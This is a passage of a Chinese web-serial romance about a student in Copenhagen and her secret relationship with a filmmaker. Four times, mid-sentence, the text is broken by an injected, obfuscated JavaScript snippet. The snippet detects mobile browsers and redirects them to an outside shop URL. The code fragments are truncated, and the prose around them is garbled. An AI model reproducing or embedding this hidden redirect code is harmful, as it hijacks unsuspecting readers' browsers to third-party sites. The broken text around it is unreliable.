之前喻琳在线上要照片的时候,龙秉月就发现她没有多少安宴照片,也不想留下自己没保密的把柄,索性说等她这几天拍一拍,来了当面看。 后来自然是没顾得上。 现在喻琳一副不给看就不离开机场的架势,龙秉月只好调出手机隐藏相册,找到两人之前在博物馆镜子前的合影给她看,神色无奈却宠溺。 喻琳用手指在屏幕上放大照片看安宴的脸,又缩回正常大小看两人站在一起的样子,求知欲十分旺盛:“卧槽他这么高?!那你们接吻的时候会不会不方便,还有那个的时候……” 在人来人往的机场到达大厅,并没有人注意到角落里的这般动静,但龙秉月还是以迅雷不及掩耳之势捂住了喻琳的嘴巴。 “小声点,难道光彩吗?” “光彩,太光彩了。”喻琳拍了拍龙秉月的肩膀,一脸骄傲,好像朋友做了特别了不得的事一样,“我收回之前怕你被骗的话。长成这个样子的男的,就算被骗,睡了也不亏啊。” “……” - 公寓在楼的顶层,通透,采光良好。一进门,就可以清楚看到空旷得仿佛没住过人的客厅。 喻琳感叹:“你还真是一如既往地极简呐!” 待她在自己住的主卧大致收拾好行李,去参观龙秉月的次卧时,才发现次卧也空旷得仿佛没住过人。 只铺着床上用品,没有生活痕迹,更像是个客房。 她狐疑地转身看向龙秉月:“你还没搬过来吗?” “嗯……”龙秉月挠挠头。 还没开口解释,对方就主动理解了:“我懂我懂,我只是备胎,在老公家过得不好才会回娘家。是吧?” “是……吧……”龙秉月又坦白了伊莎贝拉家教的事,住在那边可以少奔波,听起来也挺像借口。 喻琳一下子就抓住重点:“所以你是和学生的儿子搞在了一起,学生还不知道。这么刺激的?” “对,所以拜托你啦,这件事千万别告诉别人。” “我有点搞不懂了,他对你不好吗?为什么一定要地下恋爱?” “他特别特别特别好,真的。是我想地下,他一直想公开,从没想藏着。” 脑子里想的和嘴上说出来的是两回事,之前一直是自己在胡思乱想,现在要用语言向别人表达出来,才算真正整理了想法。 正如注定要在春天前融化的雪人,哪怕在热恋中,龙秉月依然有一种莫名的预感,她和安宴在明年夏天就会分开。 如果注定如此,她宁愿一切都静悄悄地发生,只在两人之间发生。 龙秉月的悲观引得喻琳也沉默了。 她倒又积极乐观起来:“没事啦,先不想那么远,明年再看吧。与其说是悲观,不如说是假装期限只有一年来更好地珍惜当下。就像那句名言说的,把每天当作人生最后一天来过。” 其实很多时候,她也会搞不懂自己。这种悲观,究竟是真正存在,还是为了减少重色轻友的愧疚感而生出的自我安慰? 再者,因为友谊更持久,优先投身于可能短暂的爱情就是合理的了吗? 各自在房间里休息,等待着晚上出去吃饭的时候,龙秉月把喻琳带来的御守挂在手指上晃来晃去,目不转睛地盯着,似在给自己催眠。 在这样的时刻,她产生了这些疑惑。 与此同时,再一次感觉时间从四面八方翻涌而来,像液体一样包裹住自己。 恰如她第一次看安宴的电影时的感受。 - 十天前的七夕夜,龙秉月拉上安宴一起重温了那部电影。 临近午夜的时候,她在厨房例行喝每日四次的牛奶——深深体会到身高差带来的不便后,她长高的愿望更加迫切了。 为什么喝了一年,也没像朋友和网友们那样长高啊!! 内心很崩溃,却仍然坚持不放弃。 这时,安宴发来短信:【好了,来吧。】 家人都睡了,电影也准备好了,可以来影音室了。 从亮着灯的走廊进入昏暗的影音室,眼睛毫不意外什么都看不清,龙秉月毫不意外撞入一个温暖的怀抱。 但安宴只是搂着她,没有进一步的亲密,大概是为了电影能够顺利看下去。 龙秉月的手在身后摸索着,锁上了影音室的门。 “怎么锁了,要做坏事?”安宴胳膊环着她的脖子,在她耳边问。 黑暗中龙秉月的白眼发送失败,她知道安宴只是说笑,便也懒得反驳了。 距离上次看《TheDays》没有过去多久,龙秉月对剧情记忆犹新,安宴更是每一帧都熟悉。 她想一起重看,主要是想用新的记忆覆盖掉旧的记忆,覆盖掉上一次的悲伤。 在爱人的怀抱里观看这样一部描绘孤独寂寞缺爱都市人的电影,感受果然大不相同。 她不再哀伤,甚至有心情开玩笑:“你不会也像女主一样……” “我不是,你别乱代入。我们是独一无二的。”没等她说完,安宴就否定道。 他似乎当真了,认真地对她说:“我没有恋爱经验所以目前也说不好,但我和女主不一样,绝对不是因为孤独才去爱。” “甚至可以说,认识你后我才明白什么叫孤独。” 龙秉月有些庆幸电影的色调偏冷偏暗,庆幸她坐在安宴身前,不会被他看清表情。 突如其来的告白让她不知所措了。他好像比她所以为的,更加爱她。 她生硬地转换话题:“你觉得这个片名翻译成中文,怎么翻译比较好呢?” 安宴反问她:“你觉得呢?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13718316|143709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>看着屏幕上流动的蓝色,龙秉月讲话也变得慢悠悠的:“我觉得叫‘时间’就蛮好。像英文片名一样,有发散的空间。” 安宴在她肩膀上点头同意:“对,固定的一段时间,有限制的时间。” 龙秉月接着道:“像水一样的时间。” 一个人迎击,只觉窒息;两人共沉沦,她开始明白,难怪有人喜欢窒息的感觉。 两次观影之间,时间转了一圈又回到这里,但也不完全是这里。偏离的那一点才是关键。 如果把这段时间也比作一部电影,那么此刻就是结尾主角回到过去的同一个地方,但已成为新的自己。 看完电影,龙秉月变得比以往更动情更黏人。 两人在床上话都不多,今天她却一反常态,没再不断索吻,而是要求:“你说点情话给我听嘛。” “我爱你。”这么简单的要求,安宴当然满足她,“我爱你。” “你好敷衍哦。” 敷衍?这句确实是有点烂大街了,如今任何人似乎都能对任何人说出口。 安宴停下动作,认真地看着龙秉月。龙秉月也看着他,清晰地看到汗水从他脸上滑落,和她的汗水交融在一起。 他一直不吭声,她有点急了——你要么快说,要么快动啊。 在她耐心快要告罄的时候,安宴终于开口了,说了一串丹麦语。 这下,龙秉月的注意力都转移到努力听明白他在说什么上面了。她微微眯着眼,脸上一半专注,一半迷茫。 落在不知道她也会点丹麦语的人眼里,则会以为这样的神情是听不懂的意思。 她接下来的话稳固了她不懂丹麦语的人设:“什么意思?” 安宴重复了一遍两人之前聊电影的话,把“时间”替换成她:“我爱你,固定的你,有限制的你,像水一样的你。一切模样的你。” ……真是有够骚的,还顺带证明了自己记忆力强。 但这和她自己的理解不一样,龙秉月不太信:“真的吗?” 说完意识到这个问句有歧义,像在怀疑他是不是真的爱,便又追问:“真的是这意思吗?” 安宴没有答话,用行动让她无暇再分心想这些话。 不知道为什么,刚刚在她反问“真的吗”的时候,他突然感觉把握不住她,终将失去她。 或许他比她受到了电影更深的影响。 该死,这明明是他自己拍的,烂熟于心的故事。下次见到导演,恐怕要揍一顿才解气。 安宴想,他现在的表情一定不太好看,不希望她看到后想太多。 那就不要让她看到他的脸了。 龙秉月的后颈承受着安宴的吻,眼睛盯着墙面,却没有聚焦,满脑子都还是他先前的话。 内心的震惊尚未休止,对他为何不说真话的疑惑更是笼罩不散。这有什么不能让她知道的,难道背后还有别的故事? 生理和心理双重意义上,这份爱变得沉重起来。 如果以她的菜鸡丹麦语水平没有理解错,他说的是: “见到你的第一眼,我就爱上你了。” “此生第一次,唯一的爱。” 26. 第二十六章 在新学期开始上课前,龙秉月就忙了起来。 她之前报名了新生mentor,要在迎新期间带十名国际新生。这些学生打乱分组,本科、硕士、博士或交换生都有,专业各异,来自全球各个国家。 分配给她的十名学生里,有两名中国学生,是国内不同大学、不同专业的本科交换生。 除了所有新生共同参与的orientation(迎新系列活动的总称)外,她需要做的,主要是联络感情啦,在公寓管理员上班时间内帮新生领钥匙啦,去机场接人啦,组织大家一起吃吃饭逛逛街啦。 或者什么也不做,摸鱼混个经历也成。但她正是因为看不惯去年她的mentor这样,今年才做出这个选择。 这天傍晚,龙秉月又要去机场接新生,刚出卧室门就碰到安宴——他现在白天基本不关自己房门了,一听到对面有动静就闪现在门口,隔着走廊问她要去做什么。 即便已经习惯,龙秉月还是会下意识张望,确认二楼没其他人后,快步走进安宴房间,关门。 “你到底懂不懂低调两个字怎么写呀?”她佯装生气埋怨道。 “我在我自己家,开自己房间的门,有什么问题。不能跟你出门约会我都忍了,总得给我留着看看你的机会吧。”安宴右手撑在门上,把龙秉月半拢在怀里,“所以你今天打算去哪里?” “去机场接两个中国的交换生。”之前她去接过其它国家的新生,安宴都没说什么,但她想到中国学生跟她毕竟文化上亲近,便专门强调了一下,“都是女生。” “依然不愿意让我接送?” “……嗯,我坐地铁就好,顺便也能教她们。丹麦和中国的公共交通毕竟差异巨大。” “你是打算以后再也不坐我的车了吗?有必要避嫌到这个地步?” 又来了,安宴又化身委屈小狗。龙秉月实在想不出什么好的办法,踮起脚来亲亲顺毛,一手摩挲着安宴的左手无名指。 这一招永远有效。 “好啦,我得赶紧过去了,她们还有半个多小时就落地了。” 安宴依依不舍地放开她,看着她跑下楼,找了辆自行车骑上,骑出院子,沿着马路朝着地铁站的方向越骑越远,直到消失在他的视野里。 骑车的她扎着马尾辫,摇晃在哥本哈根的大风中。 - 学校提前把新生的邮箱给了负责的mentor,龙秉月群发过邮件后,和自己带的新生都加了脸书好友,还加了两个中国女生孟书瑶和陈钰的微信,但聊得不多,以打招呼和答疑为主。 当下,她们通过微信顺利在机场接头。 两个学妹每人都是一大一小行李箱外加一个背包,累得轻轻喘气,却还没忘记问:“我们是坐地铁吧?千万不要打车啊。有个来得早的同学给我说,她打车半小时的路程花了500多!太吓人了。” “不打不打,我们去坐地铁,刚好可以直达你们的公寓。”龙秉月让她们放宽心,“我来一年了都还没打过一次车。” 她心里接着道,以后大概也不会打车因为她可以有专属司机,然后猛然想到,哦不对,她一直在拒绝某人当她的司机。 飞机停靠廊桥,机场连着地铁站,所以一直到下车出了地铁站,往学生公寓走的路上,孟书瑶和陈钰才时隔十五小时又呼吸到室外的新鲜空气。 九月初,国内大部分地区依然燥热,哥本哈根却相当凉爽,正是气温最舒适的时节。 太阳刚刚落下,天边隐隐可见几缕晚霞,湿润的风吹在脸上,像世界落下轻吻。对于踏入新环境第一脚的人来说,这是再好不过的欢迎礼。 巧的是,孟书瑶和陈钰不仅被分到同一个迎新组,还抢到了同一个学生公寓片区的房间。 航班落地晚,公寓的管理员已经下班,好在龙秉月提前帮忙领了钥匙,不然她们两人今晚还要在外面找酒店住。 放下行李后,她们去附近的商场觅食。就算饿得前胸贴后背,也仍然不忘欢乐地争执: “随便找家快餐吃吃吧,然后赶紧回去收拾行李。” “就那点行李有什么好收拾的,去吃点好的,给留学生活开个好头!” “开个花大钱的好头是吧。” “你吃麦当当也要花一百块啊,不如加点钱吃好喝好。” 最后,两人齐齐看向龙秉月,让她做决定。 龙秉月问提议“吃点好的”的孟书瑶:“你有目标吗?” 孟书瑶立马打开小红书收藏夹:“这些都是我收藏的附近的店。” 她招呼着另外两人和自己互关,把这个美食专辑分享给她们,各看各的但可以一起选。 既然要吃点好的,自然是人多更方便点菜,龙秉月干脆把车程20分钟的喻琳也叫来了。 她们挑了一家北欧菜,在店里坐着等喻琳。 表面在仔细看菜单选食物,实则都在看刚才互关的小红书。 果然是自媒体大势的时代,孟书瑶和陈钰都在运营自己的号。 前者更是已经积累了几千粉,置顶的万赞笔记是去年万圣节,她在国内cosplay夺食的大海鸥。 龙秉月没忍住“噗嗤”一声笑了出来,她们凑过来看是什么引人发笑,也一并笑了起来。 “今年万圣节我们一起在哥本哈根炸街吧!”孟书瑶顺势提出。 “怎么炸?” “给丹麦人一点中国文化的震撼,比如穿汉服之类的。但是穿汉服的人太多了,我们最好想点更特别的。” 这时候喻琳到了,进入介绍和点菜环节,万圣节便被抛到脑后。 她们挑的店意外好吃,但没准是因为三个人刚从国内过来,对洋人菜还处在态度宽容的阶段;龙秉月也很多天没有外食了,同样觉得新鲜。 - 把孟书瑶和陈钰送回学生公寓后,龙秉月跟着喻琳回到了她们合租的公寓。 进门的时候,喻琳打趣道:“这个家就像你的酒店专属房间,有,但不住。” 酒店专属房间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13722389|143709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……她可太熟悉了,怎么配用来比喻她和闺蜜的小家呢。不过说来的确怪她,搞得次卧一点人气都没有。 “住住住,我今晚就住这里!”龙秉月坐在沙发上,像猫咪一样蹭上喻琳的肩膀。 她之前有准备换洗衣物和生活用品,随时都可以住下。 为表明自己的决心,她立即当着喻琳的面给安宴发短信,说今晚不回去睡了。 然后她们看到安宴秒回:【今天不追求闭环了吗?】 喻琳好奇地问:“闭环什么意思?苹果手表那个吗?知道你爱健身,但没见你戴过呀。” 龙秉月后悔得捶胸顿足,真诚的结果就是要一直真诚下去。 她深吸一口气,缓解着萦绕的羞意:“闭环就是……do……” “啧啧,小情侣的暗号啊,还挺新奇。”喻琳感叹完,才后知后觉其中深意,“所以,你们,每天,都,啊?” 那些追求手表闭环的健身达人,追求的就是每天都完成闭环的任务,好截图出来秀。 龙秉月捂着脸点了点头。 除了第二天没有,开荤以来确实是一天不落,没羞没躁。 “别害羞,谈恋爱刚在一起都是这样的啦。”喻琳轻拍她的手,让她露脸,别把自己憋难受了。 “你也是吗?”龙秉月反问。 母单喻琳沉默了一瞬:“你你,你其实是在炫耀吧!” 然后又理直气壮地说:“虽然我没吃过猪肉,但我经常见猪跑哇!” 龙秉月的手从脸上放下来,双颊依然通红:“现在想想真的好频繁,今晚歇一歇也好。” “哦……所以你住下来不是因为想我了,呜呜。” 龙秉月知道喻琳只是开玩笑,顺着自己刚才的话继续说下去:“这些天我总感觉,我们身体的距离近了,心却没那么近了。你说,我是不是在矫情啊?” “当然是。”喻琳毫不客气,也一针见血,“根据我自创的理论,你们在一起之前,心的契合度从0走到了90,在一起后从90到91,但这不是远了,只是慢了。” “然后同时呢,你们的身体直接从0窜到了100,更衬托出心的接近速度减慢。但这不影响你们的心仍然越来越近。” 好有道理,龙秉月想。 都说母单最适合给人当军师,她从前也是这样的,现在轮到自己恋爱就不行了,果然还是当局者迷旁观者清。 “我突然想到个可能不恰当的类比。”喻琳提高声音继续说道,“你总不能期待拼夕夕最后一刀和第一刀的效果一样吧。” 龙秉月忍俊不禁,庆幸自己克服羞耻说了出来,庆幸唯一知道自己恋情的朋友这么靠谱。 秘密恋爱要面对好多问题,尤其是心态上的,但她目前还是坚定,因为从地下转地上必然要面对更多问题。 事实证明,人一旦打开了输出大道理的闸门,道理就会不断倾泻而出。 “月啊,依我看,你是当惯了好学生,谈恋爱也成了好学生心态受害者。” 27. 第二十七章 恋爱不能有好学生心态,不要心里一有动静就如临大敌,这太消耗了。 相比前些日子,龙秉月今天早早上了床,毫无困意地躺在床上,想着先前和喻琳聊过的内容。 人在晚上睡不着的时候,思维会比白天活跃,夜晚放大了遐思。 说到底,她在担心什么呢?担心爱会有终结吗? 答案显然是肯定的。一切事物都有终结。 所以,她得出结论,她是在提前排练失去。 喻琳晚上还说了,“你最好不要只跟我说这些,也跟你对象说说,你们好共同解决问题。” 龙秉月当然希望自己“长嘴”,但她看着自己和安宴的聊天界面,许久后只打出个流一滴泪的表情符号。 不是打打删删后只余它,是根本不知道怎么说,索性发个能体现当下心情的表情,再根据对方的反应来回应,把话题的初始走向交给对方。 安宴看到这个表情,敏锐地意识到不对劲,先回了个亲亲表情。 然后问:【怎么了宝贝?吻掉你的眼泪,把你的伤心渡到我这里。】 听过那么多句情话,依然会感到害羞。 龙秉月打出此刻的真心话:【只是有点想你了。】 然后想象着他亲吻自己眼泪的样子,又加了一句:【不,不是有点,是非常。】 意料之中,安宴说:【你知道,你需要的话,我可以立即去找你。】 也不知道到底谁更黏人。 龙秉月:【别啦,今天是闺蜜之夜。但……我知道的![亲亲]】 继续聊了很多没营养的话,而她最终也没说出心里话,总在想是不是有些刻意,还是见面后自然聊起来比较好吧。 - 第二天,龙秉月在外面晃悠到天黑,才回到别墅。 上楼的时候,在二楼走廊走向卧室的时候,她刻意加重了脚步。 但是这一次,安宴的卧室门没有自动打开。 他照她叮嘱的做了,她却感到失落。真是一个别扭的人,既要又要。 没办法,对面没有敞开大门邀请,她只好洗完澡后自己主动过去。 没有事先通知,直接打开门进去,自然得像是回自己屋。 从门口走到里面,偌大的房间开着灯却不见人影。桌子上的电脑开着机,屏幕上似乎是剧本一类的东西,手机躺在旁边。 安宴应该在的。 龙秉月先去了浴室,里面灯是暗的,敲门也没人应;然后去了衣帽间。 说来不可思议,这是她第一次进来。 认识久了就明白,安宴穿衣没有固定的风格,也不怎么特意打扮,往往是随便穿。 反正有钱,碰见喜欢的衣服就买;反正长得好身材好,穿什么都不难看。 她几乎没见过他穿重复的衣服,所以眼下看到衣帽间空间这么大也毫不意外。 龙秉月暂时放下了找人的目的,欣赏起他的衣服来。 好有意思,她甚至看到了一身龙袍汉服,这跟他也太不搭了吧,不知道他穿起来会是什么样。 但她想先试试自己穿上效果如何,毕竟——谁能拒绝龙袍加身呢。 她直接当外套套在身上,穿出了小孩偷穿大人衣服的感觉……呃,她早该料到的。 不过衣服料子很舒服,穿起来也暖和,忽略不合身这一点的话,镜子里的自己又贵气又帅气,沉迷于欣赏美貌,舍不得脱下。 等终于欣赏完后,她来到最里面的香水柜。 几十瓶近百瓶香水,看得她眼花缭乱。不过她很快找到目标——月之咏叹。 那瓶已经快见底了,按照两人相识的时间来算,两个多月怎么也不会用掉快100ml,所以安宴爱用这款,还真是奇妙的缘分。 龙秉月拉开柜门,拿出月之咏叹香水,在手腕上喷了一泵。 “偷穿我衣服?”背后突然传来人声,吓得龙秉月一激灵,险些失手打碎香水。 安宴从她手里接过香水,放回柜子,自然而然牵住她的手心。 “非、常、想我?” 他的手仿佛有魔力,一拉上就想亲密。 “嗯……”第一个音是回答他的问题,第二个音配合着表情是在索吻,“嗯……” 龙秉月“嗯”了一声,安宴就明白她想要什么了。那刚好也是他想要的。 这些天来,两人逐渐探索出一套接吻模式。 她喜欢把舌头伸到他口中,却懒得动作,只等他缠绕上来。 她把他的舌头勾进自己口中后,同样懒得动作,依然由他来主动搅弄。 她犯懒只爱享受,他正好乐意伺候她。 她掌握节奏,他具体执行,分工明确。 亲着亲着,安宴抱起龙秉月,把她放到衣柜里坐着。她搂着他的脖子,陷进他的衣服中间。 嘴唇短暂分开的几秒,龙秉月意识到, 他亲她,她会想我们怎么只知道接吻啊;他不亲她,她又会想我们怎么连吻都不接了。 总是先往负面想或许才是她的根本问题。 其实她明明可以这么看:一见面就接吻,感情真好;见面没有接吻,说明不是只有生理上的喜欢。 身前身后都是安宴的气息,亲得好有感觉,但龙秉月没忘记来这里的目的,克制着本能的欲望,稍稍推开他:“我们出去吧。” 安宴把她打横抱起来,走出衣帽间,往床的方向走。 “不、不是这个,今天不做。”龙秉月晃着腿制止道。 “今天也不?”安宴只是疑问,没有不乐意,顺从地把她放到了沙发上。 龙秉月坐在沙发上,平复着自己的呼吸。 衣柜那样的密闭空间果真会放大感觉,到外面才感觉降温一点。 随着安宴在她身边坐下,龙秉月靠到他的肩上,低头把玩着他的手说:“我们最近身体交流够多了,需要多一些精神交流。” “身体交流也是一种精神交流。”安宴另一只手覆上她的手,“不过我都听你的。” “诡辩!那我还说精神交流也是身体交流呢,谁让大脑就在身体里面。” “你说得也没错,它们本就是二位一体的。所以你不要觉得我们身体近了心灵远了或者怎么样。” 龙秉月不敢相信自己的耳朵,这几乎一字不差的程度简直让人怀疑他能听到自己的心声,或者在手机上安装了窃听器。 ——当然,这是不可能的。 感慨之下,她翻身坐到安宴的大腿上,和他四目相对:“你……你怎么猜到的我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13726381|143709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么想过?” 安宴笑了笑,嘴角微不可查地上扬了一下:“因为我也这么想过。在一起后我发现,你比我想象中主动热情多了,会不会只是馋我身子。” 他的拇指抚上她的脸,往上提了提她的嘴角,让她也笑起来。 然后俯身亲了一口又退回:“即便我这么担忧过,我还是忍不住想要吻你,怎么办?” 怎么办,那就吻呗。 不好说是谁主动的,总之接着是一个深吻。 “有没有感受到我们精神更接近了?” 龙秉月细细回味着,思索着,一时间没有答话。 “没感觉出来?那再好好感受一下。”说罢,安宴扣着她的头,又吻了上来。 他们在沙发上面对着面,她跪坐在他的大腿上,这个姿势根本是为接吻而生的。 对于身高差情侣来说尤其如此。 只是也很容易起火。 龙秉月很快就感受到了,夹在自己的矛盾想法中间不知如何是好。 但安宴谨记着她说今天休息,把她从身上抱下来,准备进浴室。 “等等!”龙秉月喊住他。 “嗯?”安宴扭头,“反悔了吗?” “不是。”她当然也没好到哪去,和他一样有整理的需求,“浴室给我,你先在外面。” 两个人似乎都忘了隔壁房间就是空余的卫生间,非要争这一间独卫,为了不擦枪走火,还不要一起进去。 - 双双进入贤者时间后,龙秉月坐到了一把摇椅上,晃晃悠悠,舒舒服服。 安宴回到了电脑前,假装看了几眼屏幕上的资料后,开口说道:“我刚才又想了想,只要不分手,怎样都好。我们一起慢慢探索,向彼此的节奏靠近。” “困惑也好,不安也罢,我们才刚刚开始。就像人生很长,你不会想在一开始就获得天大的成就吧。” “我不会说分手的。”龙秉月不假思索地回道。 “我也不会。”安宴同样不假思索,“爱是虚无缥缈、看不见摸不着的东西,人要证明自己的爱是很难的。所以我们反过来,证明自己没有不爱就好。” “那我们先说好,一旦不爱了,就要果断提出分手。不然这个反证就没有效力了,也就没法带来安全感了。” 安宴想再说一遍“不会分手”,又觉得这么下去,好不容易想到的安慰又要失效,便答了好。 龙秉月脸上露出了满意的神情。她自觉真是个怪人,在热恋期会因为男友答应自己不爱了就果断分手而欣慰。 “对了,你的七夕礼物,我准备好了。”安宴起身,去另一边的橱柜拿了个礼盒过来,示意龙秉月拆开看看。 无比熟悉的东西——她刚刚才见过的,月之咏叹男香。 “怎么送我这个当礼物?因为你也知道它的中译名是‘月之咏叹’吗?” 安宴先回答了第二个问题:“上次你问我之后,我查了才知道的。” 然后是第一个:“但不是这个原因,不然我会送你女香。” “我想要我们身上有一样的气味。” 这理由有点牵强吧,龙秉月一下子就抓住了逻辑漏洞:“那你送我女香,自己也喷女香不就行了吗?” “……” 28. 第二十八章 龙秉月把香水随手放到距离最近的桌子上,然后走到安宴面前:“我可以和你一起坐吗?” 他的电脑椅看起来又宽敞又舒服又结实,绝对能承受两个人的重量。 安宴没有直接回答:“不愿意灭火,偏偏爱点火?” 她今天反复这么做几次了,但他拿她没办法,总归是要心软答应的。 “你不是想要相同的气味嘛,那可不得多贴贴。”龙秉月理直气壮的小脸面对着他,自觉背对着电脑,“还是说,你在看保密资料,不能让我看到?” “没什么需要保密的,就是我下部电影的剧本。”安宴把龙秉月拉进怀里,一手轻轻扳过她的脸,让她正视着电脑屏幕,“你可以随便看。” 然后轻笑着问:“看得懂吗?需不需要我翻译?” 剧本是丹麦语的,这次是要在本国拍摄制作的片子。 龙秉月握住鼠标,滑到文档的开头,假装不了解丹麦语的发音,按照英语发音规则胡乱念了起来:“恩礼乐白位的哈维特,兔大哥爱福特……” “这个词我知道,万圣节。” Halloween,在英语和丹麦语里是同一个词。 “宝宝好厉害。”安宴在她耳边说道。随后温热的气息缓缓从耳畔下到锁骨,他低头嗅着,高挺的鼻子抵在柔嫩的肌肤上。 “你看,我贴。” 龙秉月冷笑两声:“呵呵,到底是谁在点火?” “你是高热的夏天,我自燃了。” 听到这句话,她脑海中突然浮现安宴拍的关于哥本哈根夏天的短片标题:Untilnextsummer。夏天,是有下一个的。 她连忙制止自己胡思乱想,像是不经意一般问道:“对了,说到夏天,你那个短片剪好了吗?” 她不提他都快忘了,说到底那更多是他为了带她出去玩而找的借口,后来渐渐就不了了之了。但终究是两人的第一个夏天,剪出来还是有纪念意义的。 “你想看吗?我最近都在忙新电影的事,还没来得及。”安宴说。 龙秉月注意力立刻被后半句吸引走:“忙新电影?你哪里忙了?” 明明是在忙其它的事情啊…… “我知道你在想什么。你男朋友精力好得很,也不是无业游民,别看我天天似乎很闲,其实一直有在做拍摄准备工作的。” 安宴顿了顿又说:“只是对你闲,对你有求必应罢了。你问问楼下的人,看看有人觉得我闲吗。” “你也要多陪陪家人呀,你陪伊莎贝拉的时间还没我多呢!” 龙秉月苦口婆心地劝,安宴油盐不进,甚至变本加厉:“你可是她的老师,我只是偷摸把妈妈的老师勾引到手的坏孩子。” 说完,用手拢了拢怀里的人,实践着字面意义上的“到手”。 龙秉月的手从鼠标上下来,双手分别拉住安宴的双手,阻止他捣乱。 “你们还是按原计划十一月开机吗?” “从目前的天气预报来看,应该是。” “那开机之前除了熟悉剧本,摄影师还需要做什么呀?”她开始好奇他的工作。 “要和导演、制片人一起制定拍摄计划,准备设备,进行技术测试,还要外出勘景,寻找合适的拍摄地点。这部都是实景拍摄,所以勘景很重要。” 安宴一点点解释起来,最后又说道,“我们这个月可能要去外市勘景,具体时间还没定。” “啊……”龙秉月的第一反应是哀叹,习惯了每天腻在一起的日子,突然要面对异地,她提前开始不舍了。 虽然这次异地是短暂的,但短暂的异地后面还有时间更长的异地——电影拍摄。以她的认知,恐怕得有几个月时间。这样的话,感恩节、圣诞节、元旦,乃至春节、情人节,他们或许都无法共同度过。 要是开机时间也提前,连她的生日都会错过。 但她并不是拎不清的人,理解两人有各自的学业和事业,后知后觉地开始庆幸。 安宴要进组拍电影,她要上课和实习,他们闲的时候同时闲,忙的时候同时忙,相当同步。 这是一件好事,远远好过一个人闲一个人忙,闲的人抱怨忙的人不顾自己,最终因此闹矛盾。 幸好在忙起来之前在一起了,好像老天专门为他们空出这段时间一样。 不然按照原定轨迹,她九月搬出他家,两人又都迎来忙碌的生活,大概率就要这么错过,留下一段无疾而终的双向暗恋。 龙秉月也要开始思考恋爱计划,详细问道:“你说制定拍摄计划,那有预计过到时候拍摄会拍几个月吗?” “一两个月吧。” “这么快就能拍完吗?我记得你说过是剧情长片。” “没错,但毕竟是小成本独立制作,拍摄周期不像大片那么长。” 龙秉月想起见面的第一天晚上,她搜索到的安宴的百科资料。他过往的作品,不论长片还是短片,确实都是走电影节和艺术影院放映的独立电影。 和国内不太一样,欧洲这边几乎各地都有本地的艺术影院,在主流商业院线之外独立进行策展,推广文艺片,给小众电影更大的生存空间。 机构和个人也都可以联系这些影院合作。比如上学年,文化交流协会在哥本哈根的艺术影院举办了当代中国电影展,她还去当了志愿者。 这么说起来,她的从业经历真够丰(凌)富(乱)的,什么都乐意尝试一下。不似安宴,坚定地走在电影摄影这条路上。 她就像安宴的衣帽间,五花八门,什么都有,看到感兴趣的就收入囊中,但可能很多都是穿了一次就被放弃。 现在,她又想再看一遍安宴的百科了。当着他的面看,算公开处刑吗? 得了允许,龙秉月把文档最小化,一瞬间电脑桌面映入眼帘——吓,是她的大脸!而且是两人在一起之前的视频截图。 惊悚,太惊悚了。 她猛地扭过头来想质问安宴,但因为距离太近,嘴唇擦过他的下巴。 “别激动。”安宴扶稳了她,贴着她的鼻尖开口。潮热的鼻息直呼她的眼睛。 她的心跳更快了。 “放心,等我出门的时候会换掉的。平时只在这间屋里用电脑,除了你没人能看到。”安宴知道她想说什么,不等她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730324|143709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问就答了。 但龙秉月的问题还没完:“你不会手机桌面也是我吧。” 安宴心虚地眨了眨眼,沉默代表着答案。 手机就放在桌上,龙秉月拿过来按亮锁屏——得,锁屏壁纸就是。对准他的脸进行面部识别解锁手机,桌面也是。 这次没法狡辩只在自己房间里面使用了。安宴准备好认错,然而出乎他的意料,龙秉月只说:“你别太爱了。” 她似乎已经放弃在这件事上执着了。 安宴顺滑地接过手机,给龙秉月录入了面容ID:“你可以随时查,随时改壁纸。” “算了没事,谁还没个疯狂的暗恋者呢。”龙秉月是真的放弃了,没必要,真的没必要为难一个爱她的男朋友。 安宴高兴地亲了亲她香香软软的头发。 